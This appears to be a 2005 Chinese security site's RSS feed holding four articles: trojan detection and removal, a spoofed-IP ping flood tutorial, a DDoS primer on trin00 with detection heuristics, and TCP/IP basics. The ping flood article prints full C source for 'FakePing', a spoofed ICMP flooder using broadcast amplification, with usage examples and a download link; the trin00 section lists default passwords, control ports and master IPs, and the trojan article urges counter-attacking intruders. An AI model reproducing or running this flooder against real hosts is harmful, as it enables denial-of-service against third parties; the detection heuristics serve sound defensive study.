<P><BR>除了139端口以外，如果没有别的端口是开放的，黑客就不能入侵你的个人电脑。那么黑客是怎么样才会进到你的电脑中来的呢？答案是通过特洛伊木马进入你的电脑。 <BR>如果你不小心运行了特洛伊木马，你的电脑的某个端口就会开放，黑客就通过这个端口进入你的电脑。 <BR>举个例子，有一种典型的木马软件，叫做netspy.exe。如果你不小心运行了netspy.exe，那么它就会告诉WINDOWS，以后每次开电脑的时候都要运行它，然后，netspy.exe又在你的电脑上开了一扇“门”，“门”的编号是7306端口，如果黑客知道你的7306端口是开放的话，就可以用软件偷偷进入到你的电脑中来了。 </P>
<P>特洛伊木马本身就是为了入侵个人电脑而做的，藏在电脑中和工作的时候是很隐蔽的，它的运行和黑客的入侵，不会在电脑的屏幕上显示出任何痕迹。WINDOWS本身没有监视网络的软件，所以不借助软件，是不知道特洛伊木马的存在和黑客的入侵。 </P>
<P>接下来，奇奇就让你利用软件如何发现自己电脑中的木马。 <BR>奇奇再以netspy.exe为例，现在知道netspy.exe打开了电脑的7306端口，要想知道自己的电脑是不是中netspy.exe，只要敲敲7306这扇“门”就可以了。 <BR>你先打开C:\WINDOWS\WINIPCFG.EXE程序，找到自己的IP地址（比如你的IP地址是10.10.10.10），然后打开浏览器，在浏览器的地址栏中输入<A href="http://10.10.10.10:7306/"><FONT color=#000000>http://10.10.10.10:7306/</FONT></A>，如果浏览?..spy.exe木马了。&nbsp; <BR>这是最简单最直接的办法，但是需要你知道各种木马所开放的端口，奇奇已知下列端口是木马开放的：7306、7307、7308、12345、12345、12346、31337、6680、8111、9910。 </P>
<P>但是就算你熟悉了所有已知木马端口，也还是不能完全防范这些木马的，我们需要进一步查找木马。 <BR>奇奇曾经做了一个试验：我知道netspy.exe开放的是7306端口，于是我用工具把它的端口修改了，经过修改的木马开放的是7777端口了，你现在再用老办法是找不到netspy.exe木马了。于是我们可以用扫描自己的电脑的办法看看电脑有多少端口开放着，并且再分析这些开放的端口。 <BR>前面讲了电脑的端口是从0到65535为止，其中139端口是正常的，首先找个端口扫描器，奇奇推荐“代理猎手”，你上网以后，找到自己的IP地址，现在请关闭正在运行的网络软件，因为可能开放的端口会被误认为是木马的端口，然后让代理猎手对0到65535端口扫描，如果除了139端口以外还有其他的端口开放，那么很可能是木马造成的。 <BR>排除了139端口以外的端口，你可以进一步分析了，用浏览器进入这个端口看看，它会做出什么样的反映，你可以根据情况再判断了。 </FONT></P></TD></TR>
<TR>
<TD>　</TD></TR></TBODY></TABLE>
<TABLE cellSpacing=1 cellPadding=3 width="96%" align=center border=0>
<TBODY>
<TR>
<TD><FONT class=f14 id=zoom>
<P>扫描这么多端口是不是很累，需要半个多小时傻等了，现在好了，我汉化了一个线程监视器，Tcpview.exe可以看电脑有什么端口是开放的，除了139端口以外，还有别的端口开放，你就可以分析了，如果判定自己的电脑中了木马，那么，你就得在硬盘上删除木马最简单的办法当然是用杀毒软件删除木马了，Netvrv病毒防护墙可以帮你删除netspy.exe和bo.exe木马，但是不能删除netbus木马。下面就netbus木马为例讲讲删除的经过。 </P>
<P>　 <BR>简单介绍一下netbus木马，netbus木马的客户端有两种，开放的都是12345端口，一种以Mring.exe为代表（472,576字节），一种以SysEdit.exe为代表（494,592字节）。 <BR>Mring.exe一旦被运行以后，Mring.exe就告诉WINDOWS，每次启动就将它运行，WINDOWS将它放在了注册表中，你可以打开C:\WINDOWS\REGEDIT.EXE进入HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run找到Mring.exe然后删除这个健值，你再到WINDOWS中找到Mring.exe删除。注意了，Mring.exe可能会被黑客改变名字，字节长度也被改变了，但是在注册表中的位置不会改变，你可以到注册表的这个位置去找。 <BR>另外，你可以找包含有“netbus”字符的可执行文件，再看字节的长度，我查过了，WINDOWS和其他的一些应用软件没有包含“netbus”字符的，被你找到的文件多半就是Mring.exe的变种。 <BR>SysEdit.exe被运行以后，并不加到WINDOWS的注册表中，也不会自动挂到其他程序中，于是有人认为这是傻瓜木马，奇奇倒认为这是最最可恶、最最阴险的木马。别的木马被加到了注册表中，你就有痕迹可查了，就连专家们认为最最凶恶的BO木马也可以轻而易举地被我们从注册表中删除。 <BR>而SysEdit.exe要是挂在其他的软件中，只要你不碰这个软件，SysEdit.exe也就不发作，一旦运行了被安装SysEdit.exe的程序，SysEdit.exe也同时启动了。奇奇在自己的电脑中做了这样一个实验，将SysEdit.exe和C:\WINDOWS\SYSTEM\Abcwin.exe捆绑起来，Abcwin.exe是智能ABC输入法，当我开启电脑到上网，只要没有打开智能ABC输入法打字聊天，SysEdit.exe也就没有被运行，你就不能进入我的12345端口，如果我什么时候想打字了，一旦启动智能ABC输入法（Abcwin.exe），那么捆绑在Abcwin.exe上的SysEdit.exe也同时被运行了，我的12345端口被打开，别人就可以黑到我的电脑中来了。同样道理，SysEdit.exe可以被捆绑到网络传呼机、信箱工具等网络工具上，甚至可以捆绑到拨号工具上，电脑中的几百的程序中，你知道会在什么地方发现它吗？所以我说这是最最阴险的木马，让人防不胜防。 </P>
<P><BR>有的时候知道自己中了netbus木马，特别是SysEdit.exe，能发现12345端口被开放，并且可以用netbus客户端软件进入自己的电脑，却不知道木马在什么地方。这时候，你可以检视内存，请打开C:\WINDOWS\DRWATSON.EXE，然后对内存拍照，查看“高级视图”中的“任务”标签，“程序”栏中列出的就是正在运行的程序，要是发现可疑的程序，再看“路径”栏，找到这个程序，分析它，你就知道是不是木马了。SysEdit.exe虽然可以隐藏在其他的程序后面，但是在C:\WINDOWS\DRWATSON.EXE中还是暴露了。 </P>
<P>好了，来回顾一下，要知道自己的电脑中有没有木马，只要看看有没有可疑端口被开放，用代理猎手、Tcpview.exe都可以知道。要查找木马，一是可以到注册表的指定位置去找，二是可以查找包含相应的可执行程序，比如，被开放的端口是7306，就找包含“netspy”的可执行程序，三是检视内存，看有没有可以的程序在内存中。 </P>
<P><BR>你的电脑上的木马，来源有两种，一种是你自己不小心，运行了包含有木马的程序，另一种情况是，“网友”送给你“好玩”的程序。所以，你以后要小心了，要弄清楚了是什么程序再运行，安装容易排除难呀。 </P>
<P><BR>排除了木马以后，你就可以监视端口，悄悄等待黑客的来临介绍两个软件， </P>
<P>首先是NukeNabber，它是端口监视器，你告诉NukeNabber需要监视7306端口，如果有人接触这个端口，就马上报警。在别人看来，你的电脑的7306端口是开放的，但是7306不是由netspy控制了，当NukeNabber发现有人接触7306端口或者试图进入你的7306端口，马上报警，你可以在NukeNabber上面看到黑客对你做了些什么，黑客的IP地址是哪里，然后，你就可以反过来攻击黑客了。当NukeNabber监视139的时候，你就可以知道谁在用IP炸弹炸你。 <BR>另外提一下，如果NukeNabber告诉你不能监视7306端口，说这个端口已经被占用了，那么说明你的电脑中存在netspy了。 </P>
<P>第二个软件就是Tcpview.exe，这个软件是线程监视器，你可以用它来查看有多少端口是开放的，谁在和你通讯，对方的IP地址和端口分别是什么。</P></FONT></TD></TR></TBODY></TABLE>…… [<a href="http://www.zoneidc.com/Article/articleview/2005-8-13/article_view_9.htm">点击查看详细</a>] ]]></description>
	<pubDate>Sat, 13 Aug 2005 -1:49:27 GMT</pubDate>
	<comments>http://www.zoneidc.com/Article/review.asp?articleid=9</comments>
	</item>

	<item>
	<title>伪装IP地址的洪水Ping攻击</title>
	<link>http://www.zoneidc.com/Article/articleview/2005-8-13/article_view_10.htm</link>
	<description><![CDATA[<TABLE cellSpacing=1 cellPadding=3 width="96%" align=center border=0>
<TBODY>
<TR>
<TD><FONT class=f14 id=zoom>
<P>最近不少人又来号召大家一起去Ping死什么什么网站，不过从技术上来说，无论什么拒绝服务攻击方式，都需要满足一个条件：用最少的资源换取被攻击者最大的消耗。像这样大家一起去Ping不仅是奇怪的：用最大的资源换取对方最小的伤害；也是可笑的：人民战争大概属于50多年前的行为了，在互联网时代，并不是人多就能如何如何的。 </P>
<P>　　我们今天是来说Ping的，Ping是通过发送ICMP报文(类型8代码0)探寻网络主机是否存在的一个工具，很久以前，一部分操作系统（例如win95），不能很好处理过大的Ping包，导致出现了Ping to Death的攻击方式（用大Ping包搞垮对方或者塞满网络），随着操作系统的升级，网络带宽的升级、计算机硬件的升级，目前，大Ping包基本上没有很大的攻击效果（分布式攻击除外），如果一定要使用Ping包去攻击别的主机，除非是利用TCP/IP协议的其他特性或者网络拓扑结构的缺陷放大攻击的力度（所谓正反馈） </P>
<P>　　正常情况下，Ping的流程是这样的: </P>
<P>　　主机A发送ICMP 8,0报文给主机B </P>
<P>　　主机B回送ICMp 0,0报文给主机A </P>
<P>　　因为ICMP基于无连结，所以就给了我们可乘之机，假设现在主机A伪装成主机C发送ICMP 8,0报文，结果会怎么样呢?显然，主机B会以为是主机C发送的报文而去 </P>
<P>　　回应主机C，结构如下： </P>
<P>　　　伪装为主机C 错误的回复 <BR>主机A---------------------&gt;主机B------------------&gt;主机C </P>
<P>　　这种情况下，由于主机A只需要不断发送Ping报文而不需要处理返回的EchoReply，所以攻击力度成倍的增加，同时实际上主机B和主机C都是被进攻的目标，而且不会留下自己的痕迹，是一种隐蔽的一石二鸟的攻击方法。 </P>
<P>上面的方法用SOCK_RAW伪装IP就可以轻松实现，不过即使放大了两倍，对于比较强壮的操作系统和较大的带宽，也不见得有多大的效果，难道我们又来组织运动？不好吧，还是让敌人给我们放大好了，TCP/IP中有一个概念叫做广播，所谓广播的意思是说有一个地址，任何局域网内的主机都会接收发往这个地址的报文（就像电台广播一样），要是？难道？没错！如果我们往广播地址发送一个ICMP ECHO报文（就是Ping广播地址一下），结果会得到非常多的回应，以太网内每一个允许接收广播报文的主机都会回应一个ICMP_ECHOREPLY，如果你想试验，可以在unix的机器上Ping一下你局域网的广播地址，会看到很多回应的的dup包，就是重复的应答，windows系统上不会有这样的结果，因为微软的Ping程序不对多个回应进行解包，收到第一个包以后就丢弃后面的了，同样微软的系统默认也不回应广播地址的包，所以你最好在一个大量unix主机的局域网内测试。 </P>
<P>　　说到这里，聪明的你肯定知道我想干什么了吧？嘿嘿嘿嘿，没错，当我们伪装成被攻击主机向一个广播地址发送Ping请求的时候，所有这个广播地址内的主机都会回应这个Ping请求，这样，相当于是N倍的攻击力度！（N=广播地址内回应Ping包的主机数量） <BR>　 </P>
<P>　　伪装为主机C 所有广播主机都会错误的回复 <BR>主机A---------------------&gt;广播地址=========================&gt;主机C </P>
<P><BR>　　我写了一个FakePing的工具，可以<A href="http://www.patching.net/shotgun/FakePing.exe"><FONT color=#000000>Http://www.patching.net/shotgun/FakePing.exe</FONT></A>下载。 </P>
<P>　　使用方法是FakePing.exe　FakeIP　TargetIP [PacketSize]，如果TargetIP是广播地址，那么FakeIP是被攻击目标。 </P>
<P>源码公布如下： </P>
<P>typedef struct _iphdr //定义IP首部 <BR>{ <BR>　　unsigned char h_verlen; //4位首部长度,4位IP版本号 <BR>　　unsigned char tos; //8位服务类型TOS <BR>　　unsigned short total_len; //16位总长度（字节） <BR>　　unsigned short ident; //16位标识 <BR>　　unsigned short frag_and_flags; //3位标志位 <BR>　　unsigned char　ttl; //8位生存时间 TTL <BR>　　unsigned char proto; //8位协议 (TCP, UDP 或其他) <BR>　　unsigned short checksum; //16位IP首部校验和 <BR>　　unsigned int sourceIP; //32位源IP地址 <BR>　　unsigned int destIP; //32位目的IP地址 <BR>}IP_HEADER; </P>
<P>// 定义ICMP首部 <BR>typedef struct _ihdr <BR>{ <BR>　　BYTE i_type; //8位类型 <BR>　　BYTE i_code; //8位代码 <BR>　　USHORT i_cksum; //16位校验和 <BR>　　USHORT i_id; //识别号（一般用进程号作为识别号） <BR>　　USHORT i_seq; //报文序列号 <BR>　　ULONG timestamp; //时间戳 <BR>}ICMP_HEADER; </P>
<P>//CheckSum:计算校验和的子函数 <BR>USHORT checksum(USHORT *buffer, int size) <BR>{ <BR>　　unsigned long cksum=0; <BR>　　while(size &gt;1) <BR>　　　{ <BR>　　　　　cksum+=*buffer++; <BR>　　　　　size -=sizeof(USHORT); <BR>　　　} <BR>　　if(size ) <BR>　　　{ <BR>　　　　　cksum += *(UCHAR*)buffer; <BR>　　　} <BR>　　cksum = (cksum &gt;&gt; 16) + (cksum &amp; 0xffff); <BR>　　cksum += (cksum &gt;&gt;16); <BR>　　return (USHORT)(~cksum); <BR>} </P>
<P>//FakePing主函数 <BR>int main(int argc, char **argv) <BR>{ <BR>　　int datasize,ErrorCode,counter,flag; <BR>　　int TimeOut=2000, SendSEQ=0, PacketSize=32; <BR>　　char SendBuf[65535]={0}; <BR>　　WSADATA wsaData; <BR>　　SOCKET SockRaw=(SOCKET)NULL; <BR>　　struct sockaddr_in DestAddr; <BR>　　IP_HEADER ip_header; <BR>　　ICMP_HEADER icmp_header; <BR>　　char FakeSourceIp[20],DestIp[20]; </FONT></P></TD></TR>
<TR>
<TD>　</TD></TR></TBODY></TABLE>
<P></P>
<P>//接受命令行参数 <BR>　　if (argc&lt;3) <BR>　　　{ <BR>　　　　　printf("FakePing by Shotgun<BR>"); <BR>　　　　　printf(" This program can do Ping-Flooding from a FakeIP<BR>"); <BR>　　　　　printf(" Using a BroadCast IP as the FakeIP will enhance the effect<BR>"); <BR>　　　　　printf("Email:<BR>"); <BR>　　　　　printf(" <A href="mailto:Shotgun@Xici.Net"><FONT color=#000000>Shotgun@Xici.Net</FONT></A><BR>"); <BR>　　　　　printf("HomePage:<BR>"); <BR>　　　　　printf("<A href="http://it.xici.net/"><FONT color=#000000>http://It.Xici.Net</FONT></A><BR>"); <BR>　　　　　printf("<A href="http://www.patching.net/"><FONT color=#000000>http://www.Patching.Net</FONT></A><BR>"); <BR>　　　　　printf("USAGE:<BR>FakePing.exe FakeSourceIp DestinationIp [PacketSize]<BR>"); <BR>　　　　　printf("Example:<BR>"); <BR>　　　　　printf(" FakePing.exe 192.168.15.23 192.168.15.255<BR>"); <BR>　　　　　printf(" FakePing.exe 192.168.15.23 192.168.15.200 6400<BR>"); <BR>　　　　　exit(0); <BR>　　　} <BR>　　strcpy(FakeSourceIp,argv[1]); <BR>　　strcpy(DestIp,argv[2]); <BR>　　if (argc&gt;3) PacketSize=atoi(argv[3]); <BR>　　if (PacketSize&gt;60000) <BR>　　　{ <BR>　　　　　printf("Error! Packet size too big, must &lt;60K<BR>"); <BR>　　　　　exit(0); <BR>　　　} <BR>　　printf("Now Fake %s　Ping %s　using Packet size=%d bytes<BR>", <BR>　　FakeSourceIp, DestIp, PacketSize); <BR>　　printf(" Ctrl+C to Quit<BR>"); <BR>//初始化SOCK_RAW <BR>　　if((ErrorCode=WSAStartup(MAKEWORD(2,1),&amp;wsaData))!=0) <BR>　　　{ <BR>　　　　　fprintf(stderr,"WSAStartup failed: %d<BR>",ErrorCode); <BR>　　　　　ExitProcess(STATUS_FAILED); <BR>　　　} </P>
<P><BR>　　if((SockRaw=WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,NULL,0,WSA_FLAG_OVERLAPPED))==INVALID_SOCKET) <BR>　　　{ <BR>　　　　　fprintf(stderr,"WSASocket() failed: %d<BR>",WSAGetLastError()); <BR>　　　　　ExitProcess(STATUS_FAILED); <BR>　　　} <BR>　　flag=TRUE; </P>
<P>//设置IP_HDRINCL以自己填充IP首部 <BR>　　ErrorCode=setsockopt(SockRaw,IPPROTO_IP,IP_HDRINCL,(char *)&amp;flag,sizeof(int)); <BR>　　if(ErrorCode==SOCKET_ERROR) <BR>　　　printf("Set IP_HDRINCL Error!<BR>"); <BR>　　__try <BR>{ </P>
<P>//设置发送超时 <BR>　　ErrorCode=setsockopt(SockRaw,SOL_SOCKET,SO_SNDTIMEO,(char*)&amp;TimeOut,sizeof(TimeOut)); <BR>　　if (ErrorCode==SOCKET_ERROR) <BR>　　　{ <BR>　　　　　fprintf(stderr,"Failed to set send TimeOut: %d<BR>",WSAGetLastError()); <BR>　　　　　__leave; <BR>　　　} <BR>　　memset(&amp;DestAddr,0,sizeof(DestAddr)); <BR>　　DestAddr.sin_family=AF_INET; <BR>　　DestAddr.sin_addr.s_addr=inet_addr(DestIp); </P>
<P>//填充IP首部 <BR>　　ip_header.h_verlen=(4&lt;&lt;4 | sizeof(ip_header)/sizeof(unsigned long)); //高四位IP版本号，低四位首部长度 <BR>　　ip_header.total_len=htons(sizeof(IP_HEADER)+sizeof(ICMP_HEADER)); //16位总长度（字节） <BR>　　ip_header.ident=1; </P>
<P>//16位标识 <BR>　　ip_header.frag_and_flags=0; </P>
<P><BR>//3位标志位 <BR>　　ip_header.ttl=128; </P>
<P>//8位生存时间 TTL <BR>　　ip_header.proto=IPPROTO_ICMP; </P>
<P>//8位协议 (TCP, UDP 或其他) <BR>　　ip_header.checksum=0; </P>
<P>//16位IP首部校验和 <BR>　　ip_header.sourceIP=inet_addr(FakeSourceIp); //32 </P>
<P>位源IP地址 <BR>　　ip_header.destIP=inet_addr(DestIp); </P>
<P>//32位目的IP地址 <BR>//填充ICMP首部 <BR>　　icmp_header.i_type = 8; <BR>　　icmp_header.i_code = 0; <BR>　　icmp_header.i_cksum = 0; <BR>　　icmp_header.i_id = 2; <BR>　　icmp_header.timestamp = 999; <BR>　　icmp_header.i_seq=999; <BR>　　memcpy(SendBuf, &amp;icmp_header, sizeof(icmp_header)); <BR>　　memset(SendBuf+sizeof(icmp_header), E, PacketSize); <BR>　　icmp_header.i_cksum = checksum((USHORT *)SendBuf, sizeof(icmp_header)+PacketSize); <BR>　　memcpy(SendBuf,&amp;ip_header,sizeof(ip_header)); <BR>　　memcpy(SendBuf+sizeof(ip_header), &amp;icmp_header, sizeof(icmp_header)); <BR>　　memset(SendBuf+sizeof(ip_header)+sizeof(icmp_header), E, PacketSize); <BR>　　memset(SendBuf+sizeof(ip_header)+sizeof(icmp_header)+PacketSize, 0, 1); <BR>//计算发送缓冲区的大小 <BR>　　datasize=sizeof(ip_header)+sizeof(icmp_header)+PacketSize; <BR>　　ip_header.checksum=checksum((USHORT *)SendBuf,datasize); </P>
<P>//填充发送缓冲区 <BR>　　memcpy(SendBuf,&amp;ip_header, sizeof(ip_header)); <BR>　　while(1) <BR>　　　{ <BR>　　　　Sleep(100); <BR>　　　　printf("."); <BR>　　　　for(counter=0;counter&lt;1024;counter++) <BR>　　　　{ <BR>//发送ICMP报文 <BR>　　　　　ErrorCode=sendto(SockRaw,SendBuf,datasize,0,(struct sockaddr*)&amp;DestAddr,sizeof(DestAddr)); <BR>　　　　　if (ErrorCode==SOCKET_ERROR) printf("<BR>Send Error:%d<BR>",GetLastError()); <BR>　　　　} <BR>　　　} <BR>}//End of try </P>
<P>　__finally <BR>　　{ <BR>　　　if (SockRaw != INVALID_SOCKET) closesocket(SockRaw); <BR>　　　WSACleanup(); <BR>　　} <BR>　return 0; <BR>} </P>
<P>　　撰写本文的目的不是号召大家用FakePing工具去攻击美国站点，只是想略微展示一下用技术能做到什么蛮力做不到的东西。如果说大家一起Ping是义和团喊着“刀枪不入”去对抗大炮，FakePing也只能算得上是火枪而已，而美国已经研制出了航空母舰（一个操作系统的复杂度完全可以和航母媲美），难道用大刀、长枪、火枪去对抗航母？这样是很感人，也很悲壮，但是没有别的方法了？我们不能回去研制自己的战列舰？要是这次什么红客大战中二炮的专家们也出来参加Ping, 要是西昌的技术人员也去参加黑主页运动，我们不亡国才怪!</P>…… [<a href="http://www.zoneidc.com/Article/articleview/2005-8-13/article_view_10.htm">点击查看详细</a>] ]]></description>
	<pubDate>Sat, 13 Aug 2005 -1:48:45 GMT</pubDate>
	<comments>http://www.zoneidc.com/Article/review.asp?articleid=10</comments>
	</item>

	<item>
	<title>D.D.o.S攻击的威胁-入门级介绍</title>
	<link>http://www.zoneidc.com/Article/articleview/2005-8-13/article_view_11.htm</link>
	<description><![CDATA[<FONT class=f14 id=zoom>&nbsp; 
<P>该攻击方式称为分布式D.O.S(Distributed Denial Of Service)攻击。国外一些高性能的商业网络和教育网络遭受到了这种攻击。它利用攻击者已经侵入并控制的主机（可能是数百台），对某一单机发起攻击。在悬殊的带宽力量对比下，被攻击的主机会很快失去反应。这种攻击方式被证实是非常有效的，而且非常难以抵挡。 </P>
<P>　　一般的人比较难以顺利实现这些攻击。因为攻击者必须熟悉一些入侵技巧。出现在一些黑客网站上的两个已知工具可以帮助实现这种攻击。它们是trin00和Tribe Flood Network。源代码包的安装使用过程是比较复杂的，因为编译者首先要找一些internet上有漏洞的主机，通过一些典型而有效的远程溢出漏洞攻击程序，获取其系统控制权，然后在这些机器上装上并运行分布端的攻击守护进程，下面简单地介绍一下trin00的结构： <BR>trin00由三部分组成： </P>
<P>1、客户端 <BR>2、主控端(master) <BR>3、分布端(broadcast)---攻击守护进程 <BR>------------------------------------ <BR>1、客户端可以是telnet之类的常用连接软件，客户端的作用是向主控端(master)发送命令。它通过连接master的27665端口，然后向master发送对目标主机的攻击请求。 <BR>2、主控端(master)侦听两个端口，其中27655是接收攻击命令，这个会话是需要密码的。缺省的密码是"betaalmostdone"。master启动的时候还会显示一个提示符："??"，等待输入密码。密码为 "gOrave"，另一个端口是31335，等候分布端的UDP报文。 <BR>在7月份的时候这些master的机器是: <BR>129.237.122.40 <BR>207.228.116.19 <BR>209.74.175.130 <BR>3、分布端是执行攻击的角色。分布端安装在攻击者已经控制的机器上,分布端编译前植入了主控端master的IP地址，分布端与主控端用UDP报文通信，发送到主控端的31355端口，其中包含"*HELLO*"的字节数据。主控端把目标主机的信息通过27444 UDP端口发送给分布端，分布端即发起flood攻击。 </P>
<P>攻击者--&gt;master--&gt;分布端--&gt;目标主机 <BR>通信端口： <BR>攻击者 to Master(s): 27665/tcp <BR>Master to 分布端: 27444/udp <BR>分布端 to Master(s): 31335/udp </P>
<P>　　从分布端向受害者目标主机发送的D.O.S都是UDP报文，每一个包含4个空字节，这些报文都从一个端口发出，但随机地袭击目标主机上的不同端口。目标主机对每一个报文回复一个ICMP Port Unreachable的信息，大量不同主机发来的这些洪水般的报文源源不断，目标主机将很快慢下来，直至剩余带宽变为0。 <BR>DDos式攻击的步骤 </P>
<P>　　透过寻常网路(网络)连线，使用者传送讯息要求服务器予以确认。服务器于是将连线许可回传给使用者。使用者确认后，获准登入服务器。 </P>
<P>　　但在“拒绝服务”式攻击的情况下，使用者传送众多要求确认的讯息到服务器，使服务器充斥这种垃圾讯息。所有的讯息都附上捏造的地址，以至于服务器设图回传确认许可时，无法找到使用者。服务器于是暂时等候，有时超过一分钟，然后再切断连线。服务器切断连线时，骇客再度传送新一波佯装成要求确认的讯息，再度启动上述过程，导致服务器无法动弹，服务无限期停摆。这种攻击行动使网站服务器充斥大量要求答覆的讯息，导致系统不胜负荷以至于当机。 <BR>这种分布式拒绝服务攻击示意图如下： </P>
<P>*----------* <BR>　　　　　　　　　　　| | <BR>　　　　　　　　　　　| 攻击者 | <BR>　　　　　　　　　　　| | <BR>　　　　　　　　　　　*----------* <BR>　　　　　　　　　　　 | <BR>　　　　　　　　　　　 | <BR>　　　　　　　　　　　*----------* <BR>　　　　　　　　　　　| | <BR>　　　　　　　　　　　| 主控端 | <BR>　　　　　　　　　　　| | <BR>　　　　　　　　　　　*----------* <BR>　　　　　　　　　　　 | <BR>(指挥各个分节点进行攻击) <BR>　　　　　　　　　　　 | <BR>　　　 *------------*------*------*------------* <BR>　　　 | | | | <BR>　　　 | | | | <BR>　　 v v v v <BR>*----------* *----------* *----------* *----------* <BR>| | | | | | | | <BR>| 代理端 | | 代理端 | | 代理端 | | 代理端 | <BR>| | | | | | | | <BR>*----------* *----------* *----------* *----------* <BR>　　　　 / / <BR>　　　 / / <BR>　　　　　 / / <BR>　　　　　　　　(大量的垃圾数据包进行攻击) <BR>　　　 / / <BR>　　　　　　 / / <BR>　　　　　　　 / / <BR>　　　　　　　 V V V V <BR>　　　　　　　 *-----------------------* <BR>　　　　　　　 | | <BR>　　　　　　　 | 被攻击服务器 | <BR>　　　　　　　 | | <BR>　　　　　　　 *-----------------------* <BR>根据网络通讯异常现象监测分布式拒绝服务攻击 </P>
<P>许多人或工具在监测分布式拒绝服务攻击时常犯的错误是只搜索那些DDoS工具的缺省特征字符串、缺省端口、缺省口令等。要建立网络入侵监测系统（NIDS）对这些工具的监测规则，必须着重观察分析DDoS网络通讯的普遍特征，不管是明显的，还是模糊的。 </P>
<P>　　DDoS工具产生的网络通讯信息有两种：控制信息通讯（在DDoS客户端与服务器端之间）和攻击时的网络通讯（在DDoS服务器端与目标主机之间）。 </P>
<P>根据以下异常现象在网络入侵监测系统建立相应规则，能够较准确地监测出DDoS攻击。 </P>
<P>　　异常现象0：虽然这不是真正的"DDoS"通讯，但却能够用来确定DDoS攻击的来源。根据分析，攻击者在进行DDoS攻击前总要解析目标的主机名。BIND域名服务器能够记录这些请求。由于每台攻击服务器在进行一个攻击前会发出PTR反向查询请求，也就是说在DDoS攻击前域名服务器会接收到大量的反向解析目标IP主机名的PTR查询请求。 </P>
<P>　　异常现象1：当DDoS攻击一个站点时，会出现明显超出该网络正常工作时的极限通讯流量的现象。现在的技术能够分别对不同的源地址计算出对应的极限值。当明显超出此极限值时就表明存在DDoS攻击的通讯。因此可以在主干路由器端建立ACL访问控制规则以监测和过滤这些通讯。 </P>
<P>　　异常现象2：特大型的ICP和UDP数据包。正常的UDP会话一般都使用小的UDP包，通常有效数据内容不超过10字节。正常的ICMP消息也不会超过64到128字节。那些尺寸明显大得多的数据包很有可能就是控制信息通讯用的，主要含有加密后的目标地址和一些命令选项。一旦捕获到（没有经过伪造的）控制信息通讯，DDoS服务器的位置就暴露出来了，因为控制信息通讯数据包的目标地址是没有伪造的。 </P>
<P>　　异常现象3：不属于正常连接通讯的TCP和UDP数据包。最隐蔽的DDoS工具随机使用多种通讯协议（包括基于连接的协议）通过基于无连接通道发送数据。优秀的防火墙和路由规则能够发现这些数据包。另外，那些连接到高于1024而且不属于常用网络服务的目标端口的数据包也是非常值得怀疑的。 </P>
<P>　　异常现象4：数据段内容只包含文字和数字字符（例如，没有空格、标点和控制字符）的数据包。这往往是数据经过BASE64编码后而只会含有base64字符集字符的特征。TFN2K发送的控制信息数据包就是这种类型的数据包。TFN2K（及其变种）的特征模式是在数据段中有一串A字符（AAA……），这是经过调整数据段大小和加密算法后的结果。如果没有使用BASE64编码，对于使用了加密算法数据包，这个连续的字符就是“”。 </P>
<P>　　异常现象5：数据段内容只包含二进制和high-bit字符的数据包。虽然此时可能在传输二进制文件，但如果这些数据包不属于正常有效的通讯时，可以怀疑正在传输的是没有被BASE64编码但经过加密的控制信息通讯数据包。（如果实施这种规则，必须将20、21、80等端口上的传输排除在外。） </P></FONT>…… [<a href="http://www.zoneidc.com/Article/articleview/2005-8-13/article_view_11.htm">点击查看详细</a>] ]]></description>
	<pubDate>Sat, 13 Aug 2005 -1:47:56 GMT</pubDate>
	<comments>http://www.zoneidc.com/Article/review.asp?articleid=11</comments>
	</item>

	<item>
	<title>TCP_IP完整基础介绍</title>
	<link>http://www.zoneidc.com/Article/articleview/2005-8-13/article_view_12.htm</link>
	<description><![CDATA[<TABLE cellSpacing=1 cellPadding=3 width="96%" align=center border=0>
<TBODY>
<TR>
<TD><FONT class=f14 id=zoom>
<P>TCP/IP应该是个协议集，根据OS的七层理论，TCP/IP分为四层．分别是应用，传输，Interne和网络界面． </P>
<P>我们一般说TCP在传输层，而IP在Internet层． </P>
<P>TCP/IP的应用程序包括我们平时经常用到的Ping,Telnet,Ftp,Finger等等 </P>
<P>TCP/IP应该是个协议集，根据OS的七层理论，TCP/IP分为四层．分别是应用，传输，Interne和网络界面． </P>
<P>我们一般说TCP在传输层，而IP在Internet层． </P>
<P>TCP/IP的应用程序包括我们平时经常用到的Ping,Telnet,Ftp,Finger等等 </P>
<P>配置TCP/IP包括IP地址，子网掩码和缺省网关 </P>
<P>正确检测TCP/IP的四个步骤：PIng 127.0.0.1（回环地址）如果通表示TCP/IP已经装入，Ping自己表明客户机正常（主要是网卡），Ping网关表示局域网正常，Ping路由外地址表示完全正常，当然你也可以直接进行第四步，一般来说没这么麻烦的，但理论是基础 </P>
<P>IP地址是四段八位的二进制数组成的，IP分为A,B,C,D,E五类地址 </P>
<P>A类高端为0,从1.x.y.z~126.x.y.z　.B类高端为10,从128.x.y.z~191.x.y.z　C类高端为110，从192.x.y.z~223.x.y.z　D类高端为1110是保留的IP地址　E类高端为1111，是科研用的IP地址 </P>
<P>其中255是广播地址，127是内部回送函数 </P>
<P>一、以下内容是子网的设定 </P>
<P>若公司不上Internet,那一定不会烦恼IPAddress的问题,因 为可以任意使用所有的IPAddress,不管是AClass或是BClass, 这个时候不会想到要用SubNet,但若是上Internet那IPAddress 便弥足珍贵了,目前全球一阵Internet热,IPAddress已经愈 来愈少了,而所申请的IPAddress目前也趋保守,而且只有 经申请的IPAddress能在Internet使用,但对某些公司只能申 请到一个CCLass的IPAddress,但又有多个点需要使用,那这 时便需要使用到Subnet,这篇短文说明Subnet的原理及如 何规划。 </P>
<P>SubnetMask的介绍 </P>
<P>设定任何网路上的任何设备不管是主机、PC、Router等 皆需要设定IPAddress,而跟随著IPAddress的是所谓的NetMask, 这个NetMask主要的目的是由IPAddress中也能获得NetworkNumber ,也就是说IPAddress和NetMask作AND而得到NetworkNumber,如下所示 </P>
<P>IPAddress 192.10.10.611000000.00001010.00001010.00000110 </P>
<P>NetMask 255.255.255.011111111.11111111.11111111.00000000 </P>
<P>AND ------------------------------------------------------------------- </P>
<P>etworkNumber 192.10.10.011000000.00001010.00001010.00000000 </P>
<P>NetMask有所谓的预设值,如下所示 </P>
<P>&nbsp;</P>
<P>ClassIPAddress范围NetMask </P>
<P>A　1.0.0.0-126.255.255.255255.0.0.0 </P>
<P>B　128.0.0.0-191.255.255.255255.255.0.0 </P>
<P>C　192.0.0.0-223.255.255.255255.255.255.0 </P>
<P>&nbsp;</P>
